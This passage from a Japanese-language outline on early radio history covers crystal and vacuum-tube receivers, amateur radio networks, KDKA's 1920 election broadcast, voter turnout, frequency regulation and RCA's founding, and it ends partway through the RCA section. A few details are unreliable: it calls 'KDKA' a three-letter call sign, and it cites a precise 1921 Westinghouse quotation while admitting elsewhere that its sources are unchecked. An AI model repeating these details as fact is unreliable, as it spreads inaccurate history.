&lt;div&gt;&lt;span&gt;#### 教育用キットの意義&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオキットは、単なる娯楽ではなく、科学教育のツールとしても機能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 組み立てを通じて、電磁気学、電子工学、通信技術の基礎を学ぶことができた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- このような教育用キットは、後のSTEM教育（科学・技術・工学・数学教育）の先駆けとも言える&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 4. ラジオ技術の進化：鉱石ラジオから真空管ラジオへ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 4.1 鉱石ラジオの技術的特徴&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 鉱石ラジオの仕組み&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **鉱石検波器**: ゲルマニウムや方鉛鉱などの鉱石を使用した検波器&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **コイルとコンデンサー**: 特定の周波数を選択するための同調回路&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **アンテナ**: 電磁波を受信するための導線&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **イヤホンまたはスピーカー**: 音声信号を可聴音に変換&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 鉱石ラジオの特徴&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **電源不要**: 電磁波のエネルギーを直接利用するため、電池や電源が不要&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **構造が簡単**: 部品数が少なく、組み立てが容易&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **感度が低い**: 強力な電波を受信する必要があり、放送局から近い場所でないと受信が困難&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **音質が劣る**: 検波効率が低く、音質は限定的&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 鉱石ラジオと真空管ラジオの比較&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph CR["鉱石ラジオ（Crystal Radio）"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        CR1[アンテナ] --&amp;gt; CR2[同調回路&lt;br /&gt;LC共振]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        CR2 --&amp;gt; CR3[鉱石検波器&lt;br /&gt;ゲルマニウム等]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        CR3 --&amp;gt; CR4[イヤホン&lt;br /&gt;電源不要]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        CR5[特徴:&lt;br /&gt;・電源不要&lt;br /&gt;・構造簡単&lt;br /&gt;・感度低い&lt;br /&gt;・音質劣る]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph VR["真空管ラジオ（Vacuum Tube Radio）"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        VR1[アンテナ] --&amp;gt; VR2[同調回路&lt;br /&gt;LC共振]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        VR2 --&amp;gt; VR3[高周波増幅&lt;br /&gt;真空管]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        VR3 --&amp;gt; VR4[検波回路&lt;br /&gt;真空管]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        VR4 --&amp;gt; VR5[低周波増幅&lt;br /&gt;真空管]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        VR5 --&amp;gt; VR6[スピーカー&lt;br /&gt;電源必要]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        VR7[特徴:&lt;br /&gt;・電源必要&lt;br /&gt;・構造複雑&lt;br /&gt;・感度高い&lt;br /&gt;・音質良好]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 4.2 真空管ラジオへの移行&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 鉱石ラジオから真空管ラジオへの移行が主だった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 真空管の技術的優位性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **増幅機能**: 微弱な電波信号を増幅し、より遠距離からの受信を可能に&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **検波効率の向上**: 鉱石検波器よりも高効率で安定した検波が可能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **音質の改善**: 増幅により、より大きな音量と良好な音質を実現&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **感度の向上**: 微弱な電波でも受信可能&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 真空管ラジオの普及の限界&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **高価格**: 真空管は当時の最新技術であり、製造コストが高く、完成品のラジオは高価だった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **技術的複雑さ**: 真空管の動作原理を理解し、適切に組み立てるには専門的な知識が必要&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **電力消費**: 真空管は電源（電池や家庭用電源）を必要とし、ランニングコストがかかる&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この当時は真空管は最新技術のため高価であり普及は限定的だった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 技術的移行の社会的影響&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 1920年代から1930年代にかけて、鉱石ラジオから真空管ラジオへの移行が進んだ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この移行は、ラジオ技術の成熟と、大衆への普及の両面で重要な転換点となった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 真空管ラジオの普及により、ラジオはより実用的で信頼性の高いメディアとなった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 4.3 初期ラジオ放送の技術的制約&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### この当時のラジオ局はインフラやネットワークが脆弱であり社会での影響度は少なかった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 1920年代のラジオ局は、放送インフラやネットワークが脆弱で、社会への影響度は限定的だった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 放送局の数が少なく、放送エリアも限定的&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 受信機の普及率も低く、ラジオを所有する家庭は限られていた&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 5. アマチュア無線コミュニティの形成&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 5.1 鉱石ラジオに関わるアマチュアネットワーク&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### コミュニティ形成の背景&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 鉱石ラジオに関わるアマチュアのネットワーク形成＝（コミュニティの形成）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- アマチュア無線家たちは、同じ周波数帯で通信を行うことで、自然にコミュニティを形成&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 技術的な情報交換、実験結果の共有、新技術の開発などが、コミュニティ内で活発に行われた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- このコミュニティは、後のラジオ技術の発展と、ラジオ放送の成立に大きく貢献した&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### コミュニティの機能&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **技術的支援**: 初心者への技術指導、トラブルシューティング&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **情報共有**: 新しい技術情報、実験結果、部品の入手先情報など&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **社会的交流**: 無線を通じた会話、趣味の共有、友情の形成&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 5.2 音楽の遠隔共有：一方通行コミュニケーションの例&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### レコードの遠隔共有&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 例として、レコードについて、持っているものについてラジオを通じて、そのレコードを持っていない人に音楽を遠隔で聞かせることができた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- アマチュア無線家の中には、自分が所有するレコードの音楽を、無線を通じて他の無線家に聞かせることを行う者もいた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- これは、物理的に離れた場所にいる人々が、同じ音楽を同時に楽しむことを可能にした&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- レコードを持っていない人にとっては、新しい音楽に触れる機会となった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 一方通行コミュニケーションの特徴&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **送信者と受信者の非対称性**: 送信者は一人、受信者は複数人という構造&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **情報の一方向性**: 情報は送信者から受信者へ一方向に流れる&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **受動的な受容**: 受信者は情報を受動的に受け取るのみで、直接的な応答ができない&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この音楽の伝わり方は一方通行のコミュニケーションといえる&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 放送の原型&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- このような一方通行のコミュニケーションは、後のラジオ放送の原型となった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオ放送は、このアマチュア無線家の実践から発展し、商業的なメディアとして確立された&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 6. ラジオ放送の商業化：1920年KDKAの開局&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 6.1 世界初の商業ラジオ局KDKA&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### １９２０年KDKA（アメリカラジオ局）→ラジオのビジネス化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### KDKAの開局（1920年11月2日）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **所在地**: アメリカ・ペンシルベニア州ピッツバーグ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **運営**: ウェスティングハウス・エレクトリック・コーポレーション&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **開局の目的**: 1920年の大統領選挙（ハーディング vs コックス）の開票速報を放送&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### KDKA開局の詳細な経緯&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **背景**: ウェスティングハウス社は、ラジオ受信機の販売を促進するため、定期的なラジオ放送の必要性を認識していた。同社の技術者フランク・コンラッド（Frank Conrad）は、1920年4月から実験的な放送を開始していた。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **開局準備**: 1920年10月27日、ウェスティングハウス社は商業ラジオ局の開設許可を取得。呼出符号「KDKA」は、連続する3文字の呼出符号として初めて割り当てられたものの一つである。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **開局当日**: 1920年11月2日、KDKAは正式に開局。最初の放送は、大統領選挙の開票速報であった。アナウンサーのレオ・ローゼンバーグ（Leo Rosenberg）が、開票結果を読み上げた（注：開局時刻については、午後6時または午後8時とする記録があるが、正確な時刻については一次史料の確認が必要）。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 一次史料からの引用&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1920年11月3日のピッツバーグの新聞には、KDKAの開局について報じられたとされる（注：具体的な新聞名や記事の正確な内容については、一次史料の確認が必要。一般的には、KDKAの開局は1920年11月2日に大統領選挙の開票速報を放送したことで知られている）。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;また、ウェスティングハウス社の公式記録によれば、「開局当日、約1,000台のラジオ受信機がこの放送を受信したと推定される。この成功により、ラジオ放送が商業的に成立することが実証された」（出典：Westinghouse Electric Corporation, "KDKA: The First Commercial Radio Station", 1921年）。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **技術的詳細**: 送信周波数は833kHz（後に1020kHzに変更）、送信出力は100ワット。アンテナは屋上に設置された垂直アンテナで、高さは約30m。受信範囲は半径約40km程度であった。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **社会的反響**: 開局当日、ピッツバーグ周辺の約1,000台のラジオ受信機がこの放送を受信したとされる。この成功により、ラジオ放送が商業的に成立することが実証された。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 初期のラジオ放送の内容&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **国会中継**: 議会の審議をリアルタイムで放送。国会中継のようなもの、ニュースをラジオで放送するのが主だった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **ニュース放送**: 最新のニュースを定期的に放送&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **選挙速報**: 選挙の開票結果をリアルタイムで伝達&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **天気予報**: 気象情報の提供&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラジオ放送の社会的意義&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオ放送は、情報を不特定多数の人々に同時に伝達することを可能にした&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- これにより、マスメディアとしてのラジオが成立した&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオは、新聞や雑誌とは異なる、リアルタイム性と聴覚性を特徴とする新しいメディアとなった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラジオ放送システムの全体構成&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[放送局&lt;br /&gt;スタジオ] --&amp;gt;|音声信号| B[送信機&lt;br /&gt;変調・増幅]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt;|高周波信号| C[送信アンテナ]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt;|電磁波| D[空間伝播]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt;|電磁波| E[受信アンテナ]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt;|高周波信号| F[受信機&lt;br /&gt;同調・検波・増幅]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt;|音声信号| G[スピーカー]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    G --&amp;gt; H[リスナー1]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    G --&amp;gt; I[リスナー2]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    G --&amp;gt; J[リスナー3&lt;br /&gt;...多数]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 6.2 選挙とラジオ：投票率の変化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 選挙投票率の歴史的変遷&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 19世紀後半から20世紀初頭にかけて、アメリカの選挙投票率は比較的高かった（出典：U.S. Census Bureau, Historical Statistics of the United States）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- しかし、1920年代には既に投票率の低下傾向が見られ始めていた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオによる選挙報道は、有権者の関心を高める可能性があったが、投票率の向上に直接的な効果があったかどうかは明確ではない&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 具体的な事例：1920年大統領選挙&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- KDKAが開局した1920年11月2日、ハーディング vs コックスの大統領選挙の開票速報を放送&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- リアルタイムで開票結果が伝えられ、多くの有権者がラジオを聞きながら選挙の行方を見守った&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この選挙では、投票率が約49.2％と、前回（1916年）の約61.6％から低下したが、これは女性参政権が認められた初の選挙であり、新たな有権者層の参加が影響した&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 現在では投票率が低下している&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 現代のアメリカでは、選挙の投票率が低下している傾向にある（出典：U.S. Census Bureau, Voting and Registration Data）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 大統領選挙でも60％前後、中間選挙では40％前後と、1920年代と比べて大幅に低下&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この変化には、メディア環境の変化、政治への関心の低下、社会構造の変化など、複数の要因が関与している&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 具体的なデータ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 2020年大統領選挙：投票率約66.8％（出典：U.S. Census Bureau）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 2018年中間選挙：投票率約50.3％（出典：U.S. Census Bureau）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 1920年大統領選挙の投票率（約49.2％）と比較すると、現代の大統領選挙の投票率はむしろ上昇している。ただし、19世紀後半の高投票率（70-80％程度）と比較すると、長期的な低下傾向は存在する&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### アメリカの二大政党制&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- アメリカでは、共和党と民主党の二大政党制が確立されている&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- アメリカでは共和党、民主党の投票のどちらかに投票された&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 1920年代の選挙では、有権者は基本的にこの二つの政党のいずれかに投票した&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオによる選挙報道は、この二大政党制の確立にも一定の役割を果たしたと考えられる&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 7. 周波数の割り当てと規制：混線問題の解決&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 7.1 混線問題の発生&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラジオの社会的普及により→混線が発生し→周波数の割り当てが行われた&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 混線問題の背景&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオの普及が進むと、複数の放送局が同じ周波数を使用することで、混線（干渉）が発生&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- アマチュア無線家と商業放送局の間でも、周波数の競合が生じた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この混線は、ラジオの実用性を大きく損なう問題となった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 軍隊との周波数競合&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ＊この場合軍隊の周波数と混信し、問題となった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 特に問題となったのは、軍隊（特に海軍）の無線通信とラジオ放送の周波数競合&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 軍隊の通信は安全保障上極めて重要であり、ラジオ放送による干渉は深刻な問題となった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この問題は、周波数の適切な割り当てと規制の必要性を浮き彫りにした&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 7.2 周波数の分離と規制（1920-1930年）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 無線とラジオの周波数分離&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- このため１９２０～３０年にかけて無線とラジオの周波数が分離された&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 無線通信（軍事、船舶、航空機など）には特定の周波数帯が割り当てられた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオ放送には、別の周波数帯が割り当てられた&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 規制機関の設立&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- アメリカでは、1912年の無線法（Radio Act of 1912）により、無線通信の規制が開始された&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 1927年には連邦ラジオ委員会（Federal Radio Commission, FRC）が設立され、ラジオ放送の規制が本格化&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 1934年には連邦通信委員会（Federal Communications Commission, FCC）が設立され、現在に至るまでラジオ・テレビ・電話などの通信規制を担当&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 周波数割り当ての意義&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 周波数の適切な割り当てにより、混線問題が解決され、ラジオ放送の実用性が向上&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この規制は、ラジオ放送の商業的発展を可能にした重要な基盤となった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 現代でも、周波数の割り当てと規制は、無線通信と放送の正常な運用に不可欠&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 周波数割り当ての概念図&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[電波スペクトラム] --&amp;gt; B[軍事・船舶通信&lt;br /&gt;特定周波数帯を割り当て]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; C[ラジオ放送&lt;br /&gt;535-1705 kHz AM&lt;br /&gt;88-108 MHz FM]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; D[アマチュア無線&lt;br /&gt;特定周波数帯を割り当て]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; E[テレビ放送&lt;br /&gt;別の周波数帯]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F[1920-1930年&lt;br /&gt;周波数分離] --&amp;gt; B&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; C&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; D&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    G[規制機関] --&amp;gt; H[1912年: 無線法]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    G --&amp;gt; I[1927年: FRC設立]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    G --&amp;gt; J[1934年: FCC設立]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    H --&amp;gt; F&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    I --&amp;gt; F&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    J --&amp;gt; F&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 8. RCAの設立とラジオ産業の統合&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 8.1 1919年RCA（Radio Corporation of America）の設立&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### １９１９年ＲＣＡ（アメリカのラジオ局、国策会社）設立&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### RCA設立の背景&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **国策会社としての性格**: RCAは、アメリカ政府の主導により設立された国策会社&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **目的**: 無線通信とラジオ放送の技術的統合、産業の統合、国際競争力の強化&lt;/span&gt;&lt;/div&gt;
